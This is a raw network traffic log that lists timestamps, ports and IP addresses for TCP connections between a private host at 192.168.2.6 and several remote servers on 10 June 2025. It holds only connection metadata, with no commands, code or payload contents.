Jun 10, 2025 12:50:21.701234102 CEST	49716	443	192.168.2.6	104.18.95.41
Jun 10, 2025 12:50:21.702373981 CEST	443	49716	104.18.95.41	192.168.2.6
Jun 10, 2025 12:50:21.703057051 CEST	49716	443	192.168.2.6	104.18.95.41
Jun 10, 2025 12:50:21.941718102 CEST	443	49712	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:21.941994905 CEST	443	49712	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:21.942101955 CEST	49712	443	192.168.2.6	104.21.96.53
Jun 10, 2025 12:50:21.942975998 CEST	443	49712	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:21.989990950 CEST	49712	443	192.168.2.6	104.21.96.53
Jun 10, 2025 12:50:24.315351009 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:24.315367937 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:24.447248936 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:24.447551012 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:24.447602987 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:24.447628021 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:24.448771954 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:24.448870897 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:24.714189053 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:24.714210033 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:25.136384964 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:25.136405945 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:25.136696100 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:25.136714935 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:25.136730909 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:25.136754036 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:25.136768103 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:25.136780024 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:25.136797905 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:25.136807919 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:25.554708958 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:25.555262089 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:25.555274010 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:25.555294991 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:25.555330992 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:25.555396080 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:25.555915117 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:25.555928946 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:25.555970907 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:25.555999041 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:25.556060076 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:25.556061029 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:25.558283091 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:25.558358908 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:26.117568016 CEST	49716	443	192.168.2.6	104.18.95.41
Jun 10, 2025 12:50:26.117594004 CEST	443	49716	104.18.95.41	192.168.2.6
Jun 10, 2025 12:50:26.249562025 CEST	443	49716	104.18.95.41	192.168.2.6
Jun 10, 2025 12:50:26.249809027 CEST	443	49716	104.18.95.41	192.168.2.6
Jun 10, 2025 12:50:26.249871016 CEST	443	49716	104.18.95.41	192.168.2.6
Jun 10, 2025 12:50:26.249901056 CEST	49716	443	192.168.2.6	104.18.95.41
Jun 10, 2025 12:50:26.250874043 CEST	443	49716	104.18.95.41	192.168.2.6
Jun 10, 2025 12:50:26.251065016 CEST	49716	443	192.168.2.6	104.18.95.41
Jun 10, 2025 12:50:26.251075983 CEST	443	49716	104.18.95.41	192.168.2.6
Jun 10, 2025 12:50:26.282560110 CEST	49716	443	192.168.2.6	104.18.95.41
Jun 10, 2025 12:50:26.282572985 CEST	443	49716	104.18.95.41	192.168.2.6
Jun 10, 2025 12:50:26.414388895 CEST	443	49716	104.18.95.41	192.168.2.6
Jun 10, 2025 12:50:26.414627075 CEST	443	49716	104.18.95.41	192.168.2.6
Jun 10, 2025 12:50:26.414689064 CEST	443	49716	104.18.95.41	192.168.2.6
Jun 10, 2025 12:50:26.415108919 CEST	49716	443	192.168.2.6	104.18.95.41
Jun 10, 2025 12:50:26.415721893 CEST	443	49716	104.18.95.41	192.168.2.6
Jun 10, 2025 12:50:26.416129112 CEST	49716	443	192.168.2.6	104.18.95.41
Jun 10, 2025 12:50:28.241041899 CEST	49678	443	192.168.2.6	20.42.65.91
Jun 10, 2025 12:50:35.247728109 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:35.247745991 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:35.247963905 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:35.247976065 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:35.248064041 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:35.248075008 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:35.248127937 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:35.248136997 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:35.654196978 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:35.654365063 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:35.774189949 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:35.774256945 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:35.774296045 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:35.774404049 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:35.776649952 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:35.778021097 CEST	49711	443	192.168.2.6	104.18.94.41
Jun 10, 2025 12:50:35.778057098 CEST	443	49711	104.18.94.41	192.168.2.6
Jun 10, 2025 12:50:35.808424950 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:35.808463097 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:35.808478117 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:35.808484077 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:35.808500051 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:35.808507919 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:35.810285091 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:35.862201929 CEST	49716	443	192.168.2.6	104.18.95.41
Jun 10, 2025 12:50:35.862226009 CEST	443	49716	104.18.95.41	192.168.2.6
Jun 10, 2025 12:50:35.864599943 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:35.981071949 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:35.981332064 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:35.981456041 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:35.981555939 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:35.981918097 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:35.982006073 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:35.982115030 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:35.983675003 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:35.986164093 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:35.995157003 CEST	443	49716	104.18.95.41	192.168.2.6
Jun 10, 2025 12:50:35.995388031 CEST	443	49716	104.18.95.41	192.168.2.6
Jun 10, 2025 12:50:35.995451927 CEST	443	49716	104.18.95.41	192.168.2.6
Jun 10, 2025 12:50:35.995497942 CEST	49716	443	192.168.2.6	104.18.95.41
Jun 10, 2025 12:50:35.996721983 CEST	443	49716	104.18.95.41	192.168.2.6
Jun 10, 2025 12:50:35.996876955 CEST	49716	443	192.168.2.6	104.18.95.41
Jun 10, 2025 12:50:36.000943899 CEST	49716	443	192.168.2.6	104.18.95.41
Jun 10, 2025 12:50:36.000963926 CEST	443	49716	104.18.95.41	192.168.2.6
Jun 10, 2025 12:50:36.026093006 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:36.026135921 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:36.026339054 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:36.026905060 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:36.028702974 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:36.032830000 CEST	49712	443	192.168.2.6	104.21.96.53
Jun 10, 2025 12:50:36.032830000 CEST	49712	443	192.168.2.6	104.21.96.53
Jun 10, 2025 12:50:36.032852888 CEST	443	49712	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:36.032857895 CEST	443	49712	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:36.033787966 CEST	443	49712	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:36.078409910 CEST	49712	443	192.168.2.6	104.21.96.53
Jun 10, 2025 12:50:36.165760994 CEST	443	49712	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:36.166132927 CEST	443	49712	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:36.167149067 CEST	443	49712	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:36.167422056 CEST	49712	443	192.168.2.6	104.21.96.53
Jun 10, 2025 12:50:36.168433905 CEST	49712	443	192.168.2.6	104.21.96.53
Jun 10, 2025 12:50:36.212272882 CEST	443	49712	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:36.407481909 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:36.407727957 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:36.408004045 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:36.408668995 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:36.412925005 CEST	49712	443	192.168.2.6	104.21.96.53
Jun 10, 2025 12:50:36.412954092 CEST	443	49712	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:36.453664064 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:36.634527922 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:36.634778023 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:36.635042906 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:36.635096073 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:36.636233091 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:36.683276892 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:36.785756111 CEST	443	49712	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:36.785984039 CEST	443	49712	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:36.787308931 CEST	49712	443	192.168.2.6	104.21.96.53
Jun 10, 2025 12:50:36.787384987 CEST	443	49712	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:36.829483032 CEST	49712	443	192.168.2.6	104.21.96.53
Jun 10, 2025 12:50:36.866383076 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:36.866403103 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:36.866662979 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:37.098365068 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:37.098634005 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:37.098700047 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:37.098718882 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:37.098758936 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:37.098769903 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:37.098824978 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:37.098831892 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:37.098890066 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:37.099627972 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:37.099637032 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:37.099685907 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:37.099685907 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:37.143101931 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:37.331864119 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:37.331964970 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:37.332037926 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:37.332197905 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:37.332206964 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:37.332278013 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:37.332312107 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:37.332436085 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:37.332444906 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:37.332499981 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:37.333591938 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:37.333606005 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:37.333651066 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:37.333662987 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:37.333698988 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:37.333718061 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:37.335510015 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:37.335520029 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:37.335596085 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:37.336292982 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:37.336299896 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:37.336359978 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:37.336361885 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:37.336383104 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:37.336498022 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:37.564913988 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:37.564989090 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:37.565042973 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:37.565068007 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:37.565238953 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:37.565295935 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:37.565306902 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:37.565373898 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:37.565450907 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:37.565505028 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:37.565555096 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:37.567531109 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:37.609968901 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:37.707654953 CEST	49721	443	192.168.2.6	151.101.2.137
Jun 10, 2025 12:50:37.707694054 CEST	443	49721	151.101.2.137	192.168.2.6
Jun 10, 2025 12:50:37.707812071 CEST	49721	443	192.168.2.6	151.101.2.137
Jun 10, 2025 12:50:37.708194017 CEST	49721	443	192.168.2.6	151.101.2.137
Jun 10, 2025 12:50:37.708199978 CEST	443	49721	151.101.2.137	192.168.2.6
Jun 10, 2025 12:50:37.976181030 CEST	443	49721	151.101.2.137	192.168.2.6
Jun 10, 2025 12:50:37.976428032 CEST	49721	443	192.168.2.6	151.101.2.137
Jun 10, 2025 12:50:37.990217924 CEST	49721	443	192.168.2.6	151.101.2.137
Jun 10, 2025 12:50:37.990232944 CEST	443	49721	151.101.2.137	192.168.2.6
Jun 10, 2025 12:50:37.990922928 CEST	443	49721	151.101.2.137	192.168.2.6
Jun 10, 2025 12:50:37.991194963 CEST	49721	443	192.168.2.6	151.101.2.137
Jun 10, 2025 12:50:37.991506100 CEST	49721	443	192.168.2.6	151.101.2.137
Jun 10, 2025 12:50:37.991915941 CEST	443	49721	151.101.2.137	192.168.2.6
Jun 10, 2025 12:50:37.992116928 CEST	443	49721	151.101.2.137	192.168.2.6
Jun 10, 2025 12:50:37.992152929 CEST	49721	443	192.168.2.6	151.101.2.137
Jun 10, 2025 12:50:38.036272049 CEST	443	49721	151.101.2.137	192.168.2.6
Jun 10, 2025 12:50:38.046317101 CEST	49721	443	192.168.2.6	151.101.2.137
Jun 10, 2025 12:50:38.118932962 CEST	443	49721	151.101.2.137	192.168.2.6
Jun 10, 2025 12:50:38.133943081 CEST	443	49721	151.101.2.137	192.168.2.6
Jun 10, 2025 12:50:38.133955002 CEST	443	49721	151.101.2.137	192.168.2.6
Jun 10, 2025 12:50:38.134011030 CEST	443	49721	151.101.2.137	192.168.2.6
Jun 10, 2025 12:50:38.134027004 CEST	49721	443	192.168.2.6	151.101.2.137
Jun 10, 2025 12:50:38.134056091 CEST	443	49721	151.101.2.137	192.168.2.6
Jun 10, 2025 12:50:38.134082079 CEST	443	49721	151.101.2.137	192.168.2.6
Jun 10, 2025 12:50:38.134094000 CEST	49721	443	192.168.2.6	151.101.2.137
Jun 10, 2025 12:50:38.134094000 CEST	49721	443	192.168.2.6	151.101.2.137
Jun 10, 2025 12:50:38.134099007 CEST	443	49721	151.101.2.137	192.168.2.6
Jun 10, 2025 12:50:38.134259939 CEST	49721	443	192.168.2.6	151.101.2.137
Jun 10, 2025 12:50:38.134259939 CEST	49721	443	192.168.2.6	151.101.2.137
Jun 10, 2025 12:50:38.185329914 CEST	49721	443	192.168.2.6	151.101.2.137
Jun 10, 2025 12:50:38.239862919 CEST	443	49721	151.101.2.137	192.168.2.6
Jun 10, 2025 12:50:38.239906073 CEST	443	49721	151.101.2.137	192.168.2.6
Jun 10, 2025 12:50:38.239962101 CEST	443	49721	151.101.2.137	192.168.2.6
Jun 10, 2025 12:50:38.239986897 CEST	49721	443	192.168.2.6	151.101.2.137
Jun 10, 2025 12:50:38.239995003 CEST	443	49721	151.101.2.137	192.168.2.6
Jun 10, 2025 12:50:38.240051985 CEST	49721	443	192.168.2.6	151.101.2.137
Jun 10, 2025 12:50:38.240099907 CEST	49721	443	192.168.2.6	151.101.2.137
Jun 10, 2025 12:50:38.241045952 CEST	443	49721	151.101.2.137	192.168.2.6
Jun 10, 2025 12:50:38.241235018 CEST	49721	443	192.168.2.6	151.101.2.137
Jun 10, 2025 12:50:38.248505116 CEST	443	49721	151.101.2.137	192.168.2.6
Jun 10, 2025 12:50:38.248606920 CEST	49721	443	192.168.2.6	151.101.2.137
Jun 10, 2025 12:50:38.251630068 CEST	443	49721	151.101.2.137	192.168.2.6
Jun 10, 2025 12:50:38.251792908 CEST	49721	443	192.168.2.6	151.101.2.137
Jun 10, 2025 12:50:38.268691063 CEST	443	49721	151.101.2.137	192.168.2.6
Jun 10, 2025 12:50:38.268930912 CEST	49721	443	192.168.2.6	151.101.2.137
Jun 10, 2025 12:50:38.287565947 CEST	443	49721	151.101.2.137	192.168.2.6
Jun 10, 2025 12:50:38.287758112 CEST	49721	443	192.168.2.6	151.101.2.137
Jun 10, 2025 12:50:38.289545059 CEST	443	49721	151.101.2.137	192.168.2.6
Jun 10, 2025 12:50:38.297231913 CEST	443	49721	151.101.2.137	192.168.2.6
Jun 10, 2025 12:50:38.297322989 CEST	49721	443	192.168.2.6	151.101.2.137
Jun 10, 2025 12:50:38.391927958 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:38.436280966 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:38.528641939 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:38.530802011 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:38.530842066 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:38.665597916 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:38.665839911 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:38.665848970 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:38.666032076 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:38.666157961 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:38.666167974 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:38.666222095 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:38.666230917 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:38.668349028 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:38.668404102 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:38.782578945 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:38.782608032 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:38.782680035 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:38.782696962 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:38.782711029 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:38.782716990 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:39.049283981 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:39.085750103 CEST	49712	443	192.168.2.6	104.21.96.53
Jun 10, 2025 12:50:39.085772038 CEST	443	49712	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:39.092701912 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:39.218734026 CEST	443	49712	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:39.264672995 CEST	49712	443	192.168.2.6	104.21.96.53
Jun 10, 2025 12:50:48.159595013 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:48.159632921 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:49.526242018 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:49.526554108 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:49.526650906 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:49.527396917 CEST	443	49702	172.67.173.72	192.168.2.6
Jun 10, 2025 12:50:49.578107119 CEST	49702	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:50:49.883869886 CEST	49712	443	192.168.2.6	104.21.96.53
Jun 10, 2025 12:50:49.883908987 CEST	443	49712	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:49.883924007 CEST	49712	443	192.168.2.6	104.21.96.53
Jun 10, 2025 12:50:49.883928061 CEST	443	49712	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:49.885260105 CEST	443	49712	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:49.935996056 CEST	49712	443	192.168.2.6	104.21.96.53
Jun 10, 2025 12:50:50.027308941 CEST	443	49712	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:50.027798891 CEST	443	49712	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:50.027812004 CEST	443	49712	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:50.027848005 CEST	443	49712	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:50.027862072 CEST	49712	443	192.168.2.6	104.21.96.53
Jun 10, 2025 12:50:50.027899027 CEST	443	49712	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:50.027905941 CEST	49712	443	192.168.2.6	104.21.96.53
Jun 10, 2025 12:50:50.029050112 CEST	443	49712	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:50.029098988 CEST	49712	443	192.168.2.6	104.21.96.53
Jun 10, 2025 12:50:50.058795929 CEST	49712	443	192.168.2.6	104.21.96.53
Jun 10, 2025 12:50:50.100269079 CEST	443	49712	104.21.96.53	192.168.2.6
Jun 10, 2025 12:50:52.428119898 CEST	49724	80	192.168.2.6	45.141.101.104
Jun 10, 2025 12:50:52.713314056 CEST	80	49724	45.141.101.104	192.168.2.6
Jun 10, 2025 12:50:52.713429928 CEST	49724	80	192.168.2.6	45.141.101.104
Jun 10, 2025 12:50:52.714750051 CEST	49724	80	192.168.2.6	45.141.101.104
Jun 10, 2025 12:50:52.999798059 CEST	80	49724	45.141.101.104	192.168.2.6
Jun 10, 2025 12:50:53.023830891 CEST	80	49724	45.141.101.104	192.168.2.6
Jun 10, 2025 12:50:53.023843050 CEST	80	49724	45.141.101.104	192.168.2.6
Jun 10, 2025 12:50:53.023947001 CEST	49724	80	192.168.2.6	45.141.101.104
Jun 10, 2025 12:51:00.024606943 CEST	49698	443	192.168.2.6	142.250.114.147
Jun 10, 2025 12:51:00.024636030 CEST	443	49698	142.250.114.147	192.168.2.6
Jun 10, 2025 12:51:02.561873913 CEST	49725	443	192.168.2.6	52.149.20.212
Jun 10, 2025 12:51:02.561920881 CEST	443	49725	52.149.20.212	192.168.2.6
Jun 10, 2025 12:51:02.562005043 CEST	49725	443	192.168.2.6	52.149.20.212
Jun 10, 2025 12:51:02.562860012 CEST	49725	443	192.168.2.6	52.149.20.212
Jun 10, 2025 12:51:02.562868118 CEST	443	49725	52.149.20.212	192.168.2.6
Jun 10, 2025 12:51:02.568347931 CEST	49703	443	192.168.2.6	172.67.173.72
Jun 10, 2025 12:51:02.568365097 CEST	443	49703	172.67.173.72	192.168.2.6
Jun 10, 2025 12:51:03.116524935 CEST	443	49725	52.149.20.212	192.168.2.6
Jun 10, 2025 12:51:03.116606951 CEST	49725	443	192.168.2.6	52.149.20.212
Jun 10, 2025 12:51:03.118062019 CEST	49725	443	192.168.2.6	52.149.20.212
Jun 10, 2025 12:51:03.118073940 CEST	443	49725	52.149.20.212	192.168.2.6
Jun 10, 2025 12:51:03.118496895 CEST	443	49725	52.149.20.212	192.168.2.6
Jun 10, 2025 12:51:03.120342970 CEST	49725	443	192.168.2.6	52.149.20.212
Jun 10, 2025 12:51:03.120563984 CEST	49725	443	192.168.2.6	52.149.20.212
Jun 10, 2025 12:51:03.120903015 CEST	443	49725	52.149.20.212	192.168.2.6
Jun 10, 2025 12:51:03.121062040 CEST	443	49725	52.149.20.212	192.168.2.6
Jun 10, 2025 12:51:03.121119976 CEST	49725	443	192.168.2.6	52.149.20.212
Jun 10, 2025 12:51:03.123121023 CEST	49725	443	192.168.2.6	52.149.20.212
Jun 10, 2025 12:51:03.164274931 CEST	443	49725	52.149.20.212	192.168.2.6
Jun 10, 2025 12:51:03.303121090 CEST	443	49725	52.149.20.212	192.168.2.6
Jun 10, 2025 12:51:03.366534948 CEST	49725	443	192.168.2.6	52.149.20.212
Jun 10, 2025 12:51:03.481276035 CEST	443	49725	52.149.20.212	192.168.2.6
Jun 10, 2025 12:51:03.481296062 CEST	443	49725	52.149.20.212	192.168.2.6
Jun 10, 2025 12:51:03.481375933 CEST	443	49725	52.149.20.212	192.168.2.6
Jun 10, 2025 12:51:03.481391907 CEST	49725	443	192.168.2.6	52.149.20.212
Jun 10, 2025 12:51:03.481424093 CEST	443	49725	52.149.20.212	192.168.2.6
Jun 10, 2025 12:51:03.481461048 CEST	443	49725	52.149.20.212	192.168.2.6
Jun 10, 2025 12:51:03.481477022 CEST	443	49725	52.149.20.212	192.168.2.6
